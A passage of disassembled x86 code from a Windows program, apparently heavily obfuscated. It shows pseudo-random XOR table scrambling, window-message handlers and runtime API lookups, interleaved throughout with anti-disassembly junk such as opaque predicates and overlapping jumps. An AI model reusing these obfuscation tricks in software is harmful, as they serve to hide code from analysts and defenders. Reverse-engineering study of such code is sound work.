ecx mov [ebp-1038h], eax mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-1034h], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1040h], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-103Ch], edx mov ecx, [ebp-1034h] imul ecx, [ebp-103Ch] mov edx, [ebp-1038h] imul edx, [ebp-103Ch] mov eax, [ebp-1034h] imul eax, [ebp-1040h] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov dword_4F4738, edx mov eax, dword_4F4738 xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-1044h] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-1030h], eax mov dword ptr [ebp-1058h], 100h mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-104Ch], eax mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-1048h], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1054h], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1050h], edx mov ecx, [ebp-1048h] imul ecx, [ebp-1050h] mov edx, [ebp-104Ch] imul edx, [ebp-1050h] mov eax, [ebp-1048h] imul eax, [ebp-1054h] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov dword_4F4738, edx mov eax, dword_4F4738 xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-1058h] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-1024h], eax mov dword ptr [ebp-106Ch], 100h mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-1060h], eax mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-105Ch], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1068h], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1064h], edx mov ecx, [ebp-105Ch] imul ecx, [ebp-1064h] mov edx, [ebp-1060h] imul edx, [ebp-1064h] mov eax, [ebp-105Ch] imul eax, [ebp-1068h] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov dword_4F4738, edx mov eax, dword_4F4738 xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-106Ch] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-1028h], eax mov dword ptr [ebp-1080h], 100h mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-1074h], eax mov eax, dword_4F4738 cdq mov ecx, 2710h idiv ecx mov [ebp-1070h], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-107Ch], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1078h], edx mov ecx, [ebp-1070h] imul ecx, [ebp-1078h] mov edx, [ebp-1074h] imul edx, [ebp-1078h] mov eax, [ebp-1070h] imul eax, [ebp-107Ch] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov dword_4F4738, edx mov eax, dword_4F4738 xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-1080h] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-102Ch], eax mov edx, [ebp-1028h] shl edx, 8 mov eax, [ebp-1024h] shl eax, 10h mov ecx, [ebp-1030h] shl ecx, 18h or ecx, eax or ecx, edx or ecx, [ebp-102Ch] mov edx, [ebp-1020h] mov eax, dword_4F474C mov edx, [eax+edx*4] xor edx, ecx mov eax, [ebp-1020h] mov ecx, dword_4F474C mov [ecx+eax*4], edx jmp loc_4B7ED7 ; --------------------------------------------------------------------------- loc_4B82A1: ; CODE XREF: .text:004B7EC5j ; .text:004B7EF2j push offset dword_4F45B0 call dword_4ED1AC ; RtlLeaveCriticalSection loc_4B82AC: ; CODE XREF: .text:004B7D7Cj mov eax, 1 jmp short loc_4B82C9 ; --------------------------------------------------------------------------- loc_4B82B3: ; CODE XREF: .text:004B7D5Fj mov edx, [ebp+14h] push edx mov eax, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call dword_4ED23C ; DefWindowProcA loc_4B82C9: ; CODE XREF: .text:004B7D02j ; .text:004B7D0Cj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B82D2 proc near ; DATA XREF: .text:004B7CDEo arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 0 push 11h mov eax, [ebp+arg_0] push eax call dword_4ED25C ; SendMessageA test eax, eax jnz short loc_4B82FE ; CODE XREF: .text:loc_4B835Fj push 0 push offset aShutdown ; "Shutdown" mov ecx, [ebp+arg_0] push ecx call dword_4ED1DC ; SetPropA xor eax, eax jmp short loc_4B8303 ; --------------------------------------------------------------------------- loc_4B82FE: ; CODE XREF: sub_4B82D2+15j mov eax, 1 loc_4B8303: ; CODE XREF: sub_4B82D2+2Aj pop ebp retn 8 sub_4B82D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B8307 proc near ; DATA XREF: .text:004B7D33o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ecx+4] push edx mov eax, [ebp+var_4] mov ecx, [eax] push ecx push 16h mov edx, [ebp+arg_0] push edx call dword_4ED25C ; SendMessageA mov eax, 1 mov esp, ebp pop ebp retn 8 sub_4B8307 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 118h push ebx push esi push edi pusha xor eax, eax jnz short loc_4B8348 jmp short loc_4B835D ; --------------------------------------------------------------------------- loc_4B8348: ; CODE XREF: .text:004B8344j jmp short loc_4B837D ; --------------------------------------------------------------------------- dw 75C0h ; --------------------------------------------------------------------------- sbb [edx+0Ch], bh loc_4B834F: ; CODE XREF: .text:loc_4B835Dj jo short loc_4B835F jmp short near ptr loc_4B835F+1 ; --------------------------------------------------------------------------- db 0E8h dd 0F1790E72h, 790015FFh db 9 ; --------------------------------------------------------------------------- loc_4B835D: ; CODE XREF: .text:004B8346j jz short loc_4B834F loc_4B835F: ; CODE XREF: .text:loc_4B834Fj ; .text:004B8351j jmp short near ptr loc_4B82E7+1 ; --------------------------------------------------------------------------- db 0DBh, 7Ah, 0F0h dd 0C76133A0h, 0DC60F845h, 45C7004Eh, 4EDC54FCh, 0F445C700h dd 0 db 0EBh ; --------------------------------------------------------------------------- loc_4B837D: ; CODE XREF: .text:loc_4B8348j or [ebx-3F7C0BBBh], ecx add [ecx+7D83F445h], ecx hlt ; --------------------------------------------------------------------------- dw 0F02h dd 1408Dh, 7C077000h, 0E805EB03h, 0F9EBFB74h, 0FEEC8D8Dh dd 4D89FFFFh, 0F4558BECh, 0F895448Bh, 0B9F04589h, 1, 3074C985h dd 0FF0558Bh, 0D33502BEh, 8B000000h, 188EC4Dh, 0FEC558Bh dd 0C08502BEh, 14EB0275h, 83EC4D8Bh, 4D8901C1h, 0F0558BECh dd 8901C283h, 0C7EBF055h, 0FEEC858Dh, 6A50FFFFh, 0FF006A00h dd 4ED0A415h, 0E8858900h, 83FFFFFEh, 0FFFEE8BDh, 1A7400FFh dd 37C0770h, 74E805EBh, 8BF9EBFBh, 0FFFEE88Dh, 15FF51FFh dd 4ED0E8h, 0F5166EBh, 50D1F7C9h, 6DB8D0F7h, 916C6569h dd 0ADC0DEB9h, 0D0F791DEh, 59D1F758h, 0DB33609Ch, 22EB0374h dd 74DB33EBh, 0B80DEB00h, 87B90FEBh, 9034F9C9h, 0EB0574F9h dd 0F274C033h, 40C987B8h, 75C08548h, 9D61E9DDh, 92669266h dd 15FFC08Bh, 4ED078h, 7506F883h, 7C07700Fh, 0E805EB03h dd 0F9EBFB74h, 4BEB01B0h, 0FD0F750h, 7358C8h, 2BEB609Ch dd 0EB0E70D2h, 74C9331Dh, 0F910EB00h, 7403F183h, 0B905EB90h dd 0EF7410EBh, 1AF2FA73h, 0EBDB33DBh, 0E1EBE9EAh, 1CF2DDEBh dd 0EB03EBDBh, 9D61B8D2h, 2 dup(0D1F7C80Fh), 0FFFEADE9h dd 5FC032FFh, 0E58B5B5Eh ; --------------------------------------------------------------------------- pop ebp retn ; --------------------------------------------------------------------------- loc_4B84DA: ; CODE XREF: .text:004B5D4Ap push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4F1F98 push offset unknown_libname_18 ; Microsoft VisualC 2-8/net runtime mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 mov eax, 1A94h call __alloca_probe_0 push ebx push esi push edi mov [ebp-18h], esp mov dword ptr [ebp-2Ch], 0 push 3 push 0 call sub_4BE373 add esp, 8 push offset aKernel32_dll_0 ; "kernel32.dll" call dword_4ED07C ; LoadLibraryA mov [ebp-28h], eax push offset aSetprocessshut ; "SetProcessShutdownParameters" mov eax, [ebp-28h] push eax call dword_4ED074 ; GetProcAddress mov [ebp-0ECh], eax cmp dword ptr [ebp-0ECh], 0 jz short loc_4B8556 push 1 push 100h call dword ptr [ebp-0ECh] loc_4B8556: ; CODE XREF: .text:004B8547j push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4B8579 loc_4B8576: ; CODE XREF: .text:004B8597j jmp short near ptr loc_4B8599+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B8579: ; CODE XREF: .text:004B8574j xor ebx, ebx jz short $+2 jmp short loc_4B858C ; --------------------------------------------------------------------------- db 0B8h db 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4B8582: ; CODE XREF: .text:004B858Ej mov ecx, 34F9C987h nop stc jz short loc_4B8590 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B858C: ; CODE XREF: .text:004B857Dj xor eax, eax jz short loc_4B8582 loc_4B8590: ; CODE XREF: .text:004B8589j mov eax, 4840C987h test eax, eax jnz short loc_4B8576 loc_4B8599: ; CODE XREF: .text:loc_4B8576j jmp near ptr 92B222FFh ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov dword ptr [ebp-0E0h], 94h lea ecx, [ebp-0E0h] push ecx call dword_4ED1B0 ; GetVersionExA jo short loc_4B85C2 jl short loc_4B85C0 loc_4B85BD: ; CODE XREF: .text:loc_4B85C0j ; .text:loc_4B85C2j jmp short loc_4B85C4 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4B85C0: ; CODE XREF: .text:004B85BBj jz short loc_4B85BD loc_4B85C2: ; CODE XREF: .text:004B85B9j jmp short loc_4B85BD ; --------------------------------------------------------------------------- loc_4B85C4: ; CODE XREF: .text:loc_4B85BDj ; .text:loc_4B8641j cmp dword ptr [ebp-0D0h], 2 jnz short loc_4B85D6 mov byte_4F4780, 1 jmp short loc_4B85F2 ; --------------------------------------------------------------------------- loc_4B85D6: ; CODE XREF: .text:004B85CBj cmp dword ptr [ebp-0DCh], 4 jnz short loc_4B85ED cmp dword ptr [ebp-0D8h], 5Ah jb short loc_4B85ED call sub_4BDFA4 loc_4B85ED: ; CODE XREF: .text:004B85DDj ; .text:004B85E6j call sub_4BE07A loc_4B85F2: ; CODE XREF: .text:004B85D4j xor edx, edx mov dl, byte_4F4780 ; CODE XREF: .text:004B8664j test edx, edx jnz short loc_4B8604 cli not esp not esp sti loc_4B8604: ; CODE XREF: .text:004B85FCj mov eax, dword_4ED3B0 xor eax, dword_4ED3FC xor eax, dword_4ED3F0 and eax, 4 test eax, eax jz short loc_4B8623 mov byte_4F4741, 1 loc_4B8623: ; CODE XREF: .text:004B861Aj pusha xor eax, eax jnz short loc_4B862A jmp short loc_4B863F ; --------------------------------------------------------------------------- loc_4B862A: ; CODE XREF: .text:004B8626j jmp short loc_4B865F ; --------------------------------------------------------------------------- dd 7A1875C0h db 0Ch ; --------------------------------------------------------------------------- loc_4B8631: ; CODE XREF: .text:loc_4B863Fj jo short loc_4B8641 jmp short near ptr loc_4B8641+1 ; --------------------------------------------------------------------------- db 0E8h, 72h, 0Eh dd 15FFF179h db 0, 79h, 9 ; --------------------------------------------------------------------------- loc_4B863F: ; CODE XREF: .text:004B8628j jz short loc_4B8631 loc_4B8641: ; CODE XREF: .text:loc_4B8631j ; .text:004B8633j jmp short near ptr loc_4B85C4+6 ; --------------------------------------------------------------------------- fstp tbyte ptr [edx-10h] mov al, ds:0F7506133h ror byte ptr [edi], 1 enter 7358h, 0 pushf pusha jmp short loc_4B8680 ; CODE XREF: .text:loc_4B8680j ; --------------------------------------------------------------------------- db 0D2h, 70h ; --------------------------------------------------------------------------- loc_4B8657: ; CODE XREF: .text:loc_4B86CEj push cs loc_4B8658: ; CODE XREF: .text:004B8679j jmp short loc_4B8677 ; --------------------------------------------------------------------------- loc_4B865A: ; CODE XREF: .text:loc_4B8677j xor ecx, ecx loc_4B865C: ; CODE XREF: .text:004B866Bj jz short $+2 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B865F: ; CODE XREF: .text:loc_4B862Aj ; .text:004B8674j adc cl, bh xor ecx, 3 jz short near ptr loc_4B85F4+2 jmp short loc_4B866D ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4B8669: ; CODE XREF: .text:loc_4B866Dj jmp short loc_4B867B ; --------------------------------------------------------------------------- jz short loc_4B865C loc_4B866D: ; CODE XREF: .text:004B8666j jnb short loc_4B8669 repne sbb bl, bl xor ebx, ebx jmp short near ptr loc_4B865F+1 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4B8677: ; CODE XREF: .text:loc_4B8658j jmp short loc_4B865A ; --------------------------------------------------------------------------- jmp short loc_4B8658 ; --------------------------------------------------------------------------- loc_4B867B: ; CODE XREF: .text:loc_4B8669j repne sbb al, 0DBh jmp short loc_4B8683 ; --------------------------------------------------------------------------- loc_4B8680: ; CODE XREF: .text:004B8653j jmp short near ptr loc_4B8653+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4B8683: ; CODE XREF: .text:004B867Ej popa popf bswap eax not ecx bswap eax not ecx mov ecx, dword_4ED3B0 xor ecx, dword_4ED3FC xor ecx, dword_4ED3F0 and ecx, 200h test ecx, ecx jz short loc_4B86B0 mov byte_4F4743, 1 loc_4B86B0: ; CODE XREF: .text:004B86A7j pusha xor eax, eax jnz short loc_4B86B7 jmp short loc_4B86CC ; --------------------------------------------------------------------------- loc_4B86B7: ; CODE XREF: .text:004B86B3j jmp short loc_4B86EC ; --------------------------------------------------------------------------- db 0C0h, 75h, 18h db 7Ah, 0Ch ; --------------------------------------------------------------------------- loc_4B86BE: ; CODE XREF: .text:loc_4B86CCj jo short loc_4B86CE jmp short near ptr loc_4B86CE+1 ; --------------------------------------------------------------------------- dw 72E8h dd 0FFF1790Eh, 9790015h ; --------------------------------------------------------------------------- loc_4B86CC: ; CODE XREF: .text:004B86B5j jz short loc_4B86BE loc_4B86CE: ; CODE XREF: .text:loc_4B86BEj ; .text:004B86C0j jmp short loc_4B8657 ; --------------------------------------------------------------------------- dd 0A0F07ADBh, 6A6133h, 0D05015FFh, 158B004Eh, 4ED3C0h dd 0D3FC1533h, 1533004Eh ; --------------------------------------------------------------------------- loc_4B86EC: ; CODE XREF: .text:loc_4B86B7j and ah, dl dec esi add [ebx], al retn 54A3h ; --------------------------------------------------------------------------- inc edi dec edi add [ecx+0Fh], dl leave not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4B871A loc_4B8717: ; CODE XREF: .text:004B8738j jmp short near ptr loc_4B873A+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B871A: ; CODE XREF: .text:004B8715j xor ebx, ebx jz short $+2 jmp short loc_4B872D ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4B8723: ; CODE XREF: .text:004B872Fj mov ecx, 34F9C987h nop stc jz short loc_4B8731 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B872D: ; CODE XREF: .text:004B871Ej xor eax, eax jz short loc_4B8723 loc_4B8731: ; CODE XREF: .text:004B872Aj mov eax, 4840C987h test eax, eax jnz short loc_4B8717 loc_4B873A: ; CODE XREF: .text:loc_4B8717j jmp near ptr 92B224A0h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov eax, dword_4ED3C4 xor eax, dword_4ED41C xor eax, dword_4ED3F0 add eax, 0FFFh shr eax, 0Ch mov dword_4F4768, eax jo short loc_4B876A jl short loc_4B8768 loc_4B8765: ; CODE XREF: .text:loc_4B8768j ; .text:loc_4B876Aj jmp short loc_4B876C ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4B8768: ; CODE XREF: .text:004B8763j jz short loc_4B8765 loc_4B876A: ; CODE XREF: .text:004B8761j jmp short loc_4B8765 ; --------------------------------------------------------------------------- loc_4B876C: ; CODE XREF: .text:loc_4B8765j mov dword ptr [ebp-38h], 0 mov dword ptr [ebp-104h], 0FFFFFFFFh push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4B87A0 ; CODE XREF: .text:loc_4B8813j loc_4B879D: ; CODE XREF: .text:004B87BEj jmp short near ptr loc_4B87C0+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B87A0: ; CODE XREF: .text:004B879Bj xor ebx, ebx jz short $+2 jmp short loc_4B87B3 ; --------------------------------------------------------------------------- dw 0EBB8h db 0Fh ; --------------------------------------------------------------------------- loc_4B87A9: ; CODE XREF: .text:004B87B5j mov ecx, 34F9C987h nop stc jz short loc_4B87B7 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B87B3: ; CODE XREF: .text:004B87A4j xor eax, eax jz short loc_4B87A9 loc_4B87B7: ; CODE XREF: .text:004B87B0j mov eax, 4840C987h test eax, eax jnz short loc_4B879D loc_4B87C0: ; CODE XREF: .text:loc_4B879Dj jmp near ptr 92B22526h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax push 0 call _time_0 add esp, 4 mov esi, eax call dword_4ED03C ; GetTickCount xor esi, eax xor esi, dword_4ED420 mov [ebp-191Ch], esi mov ecx, [ebp-191Ch] mov [ebp-324h], ecx pusha xor eax, eax jnz short loc_4B87FC jmp short loc_4B8811 ; --------------------------------------------------------------------------- loc_4B87FC: ; CODE XREF: .text:004B87F8j jmp short loc_4B8831 ; --------------------------------------------------------------------------- dw 75C0h ; --------------------------------------------------------------------------- sbb [edx+0Ch], bh loc_4B8803: ; CODE XREF: .text:loc_4B8811j jo short loc_4B8813 jmp short near ptr loc_4B8813+1 ; --------------------------------------------------------------------------- db 0E8h dd 0F1790E72h, 790015FFh db 9 ; --------------------------------------------------------------------------- loc_4B8811: ; CODE XREF: .text:004B87FAj jz short loc_4B8803 loc_4B8813: ; CODE XREF: .text:loc_4B8803j ; .text:004B8805j jmp short near ptr loc_4B879B+1 ; --------------------------------------------------------------------------- db 0DBh, 7Ah, 0F0h dd 0C76133A0h, 0FFE6C085h, 100FFh, 0DC858B00h, 99FFFFFCh dd 2710B9h db 0 ; --------------------------------------------------------------------------- loc_4B8831: ; CODE XREF: .text:loc_4B87FCj idiv ecx mov [ebp-1934h], eax mov eax, [ebp-324h] cdq mov ecx, 2710h idiv ecx mov [ebp-1930h], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-193Ch], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1938h], edx mov ecx, [ebp-1930h] imul ecx, [ebp-1938h] mov edx, [ebp-1934h] imul edx, [ebp-1938h] mov eax, [ebp-1930h] imul eax, [ebp-193Ch] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp-324h], edx mov eax, [ebp-324h] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-1940h] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-192Ch], eax mov dword ptr [ebp-1954h], 100h mov eax, [ebp-324h] cdq mov ecx, 2710h idiv ecx mov [ebp-1948h], eax mov eax, [ebp-324h] cdq mov ecx, 2710h idiv ecx mov [ebp-1944h], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1950h], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-194Ch], edx mov ecx, [ebp-1944h] imul ecx, [ebp-194Ch] mov edx, [ebp-1948h] imul edx, [ebp-194Ch] mov eax, [ebp-1944h] imul eax, [ebp-1950h] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp-324h], edx mov eax, [ebp-324h] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-1954h] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-1920h], eax mov dword ptr [ebp-1968h], 100h mov eax, [ebp-324h] cdq mov ecx, 2710h idiv ecx mov [ebp-195Ch], eax mov eax, [ebp-324h] cdq mov ecx, 2710h idiv ecx mov [ebp-1958h], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1964h], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1960h], edx mov ecx, [ebp-1958h] imul ecx, [ebp-1960h] mov edx, [ebp-195Ch] imul edx, [ebp-1960h] mov eax, [ebp-1958h] imul eax, [ebp-1964h] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp-324h], edx mov eax, [ebp-324h] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-1968h] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-1924h], eax mov dword ptr [ebp-197Ch], 100h mov eax, [ebp-324h] cdq mov ecx, 2710h idiv ecx mov [ebp-1970h], eax mov eax, [ebp-324h] cdq mov ecx, 2710h idiv ecx mov [ebp-196Ch], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1978h], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp-1974h], edx mov ecx, [ebp-196Ch] imul ecx, [ebp-1974h] mov edx, [ebp-1970h] imul edx, [ebp-1974h] mov eax, [ebp-196Ch] imul eax, [ebp-1978h] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp-324h], edx mov eax, [ebp-324h] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp-197Ch] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp-1928h], eax mov edx, [ebp-1924h] shl edx, 8 mov eax, [ebp-1920h] shl eax, 10h mov ecx, [ebp-192Ch] shl ecx, 18h or ecx, eax or ecx, edx or ecx, [ebp-1928h] mov [ebp-38h], ecx jo short loc_4B8BB8 jl short loc_4B8BB6 loc_4B8BB3: ; CODE XREF: .text:loc_4B8BB6j ; .text:loc_4B8BB8j ... jmp short loc_4B8BBA ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4B8BB6: ; CODE XREF: .text:004B8BB1j jz short loc_4B8BB3 loc_4B8BB8: ; CODE XREF: .text:004B8BAFj jmp short loc_4B8BB3 ; --------------------------------------------------------------------------- loc_4B8BBA: ; CODE XREF: .text:loc_4B8BB3j push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4B8BDD loc_4B8BDA: ; CODE XREF: .text:004B8BFBj jmp short near ptr loc_4B8BFD+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B8BDD: ; CODE XREF: .text:004B8BD8j xor ebx, ebx jz short $+2 jmp short loc_4B8BF0 ; --------------------------------------------------------------------------- db 0B8h db 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4B8BE6: ; CODE XREF: .text:004B8BF2j mov ecx, 34F9C987h nop stc jz short loc_4B8BF4 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B8BF0: ; CODE XREF: .text:004B8BE1j xor eax, eax jz short loc_4B8BE6 loc_4B8BF4: ; CODE XREF: .text:004B8BEDj mov eax, 4840C987h test eax, eax jnz short loc_4B8BDA loc_4B8BFD: ; CODE XREF: .text:loc_4B8BDAj jmp near ptr 92B22963h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax push eax not eax bswap eax pop eax jnb short $+2 pushf pusha loc_4B8C10: ; CODE XREF: .text:loc_4B8C87j ; .text:loc_4B8C3Dj jmp short loc_4B8C3D ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4B8C15: ; CODE XREF: .text:004B8C36j jmp short loc_4B8C34 ; --------------------------------------------------------------------------- loc_4B8C17: ; CODE XREF: .text:loc_4B8C34j xor ecx, ecx loc_4B8C19: ; CODE XREF: .text:004B8C28j jz short $+2 jmp short loc_4B8C2D ; --------------------------------------------------------------------------- loc_4B8C1D: ; CODE XREF: .text:004B8C31j stc xor ecx, 3 jz short loc_4B8BB3 jmp short loc_4B8C2A ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4B8C26: ; CODE XREF: .text:loc_4B8C2Aj jmp short loc_4B8C38 ; --------------------------------------------------------------------------- jz short loc_4B8C19 loc_4B8C2A: ; CODE XREF: .text:004B8C23j jnb short loc_4B8C26 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4B8C2D: ; CODE XREF: .text:004B8C1Bj sbb bl, bl xor ebx, ebx jmp short loc_4B8C1D ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4B8C34: ; CODE XREF: .text:loc_4B8C15j jmp short loc_4B8C17 ; --------------------------------------------------------------------------- jmp short loc_4B8C15 ; --------------------------------------------------------------------------- loc_4B8C38: ; CODE XREF: .text:loc_4B8C26j repne sbb al, 0DBh jmp short loc_4B8C40 ; --------------------------------------------------------------------------- loc_4B8C3D: ; CODE XREF: .text:loc_4B8C10j jmp short near ptr loc_4B8C10+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4B8C40: ; CODE XREF: .text:004B8C3Bj popa popf bswap eax not ecx loc_4B8C46: ; CODE XREF: .text:004B8CB4j bswap eax not ecx mov dword ptr [ebp-31Ch], 0Ch jo short loc_4B8C5D jl short loc_4B8C5B loc_4B8C58: ; CODE XREF: .text:loc_4B8C5Bj ; .text:loc_4B8C5Dj jmp short loc_4B8C5F ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4B8C5B: ; CODE XREF: .text:004B8C56j jz short loc_4B8C58 loc_4B8C5D: ; CODE XREF: .text:004B8C54j jmp short loc_4B8C58 ; --------------------------------------------------------------------------- loc_4B8C5F: ; CODE XREF: .text:loc_4B8C58j mov dword ptr [ebp-318h], 0 pusha xor eax, eax jnz short loc_4B8C70 jmp short loc_4B8C85 ; --------------------------------------------------------------------------- loc_4B8C70: ; CODE XREF: .text:004B8C6Cj jmp short loc_4B8CA5 ; --------------------------------------------------------------------------- dw 75C0h ; --------------------------------------------------------------------------- sbb [edx+0Ch], bh loc_4B8C77: ; CODE XREF: .text:loc_4B8C85j jo short loc_4B8C87 jmp short near ptr loc_4B8C87+1 ; --------------------------------------------------------------------------- db 0E8h dd 0F1790E72h, 790015FFh db 9 ; --------------------------------------------------------------------------- loc_4B8C85: ; CODE XREF: .text:004B8C6Ej jz short loc_4B8C77 loc_4B8C87: ; CODE XREF: .text:loc_4B8C77j ; .text:004B8C79j jmp short loc_4B8C10 ; --------------------------------------------------------------------------- db 0DBh, 7Ah, 0F0h dd 0C76133A0h, 0FFFCEC85h, 1FFh, 0D0F75000h, 7358C80Fh dd 0EB609C00h db 2Bh ; --------------------------------------------------------------------------- loc_4B8CA5: ; CODE XREF: 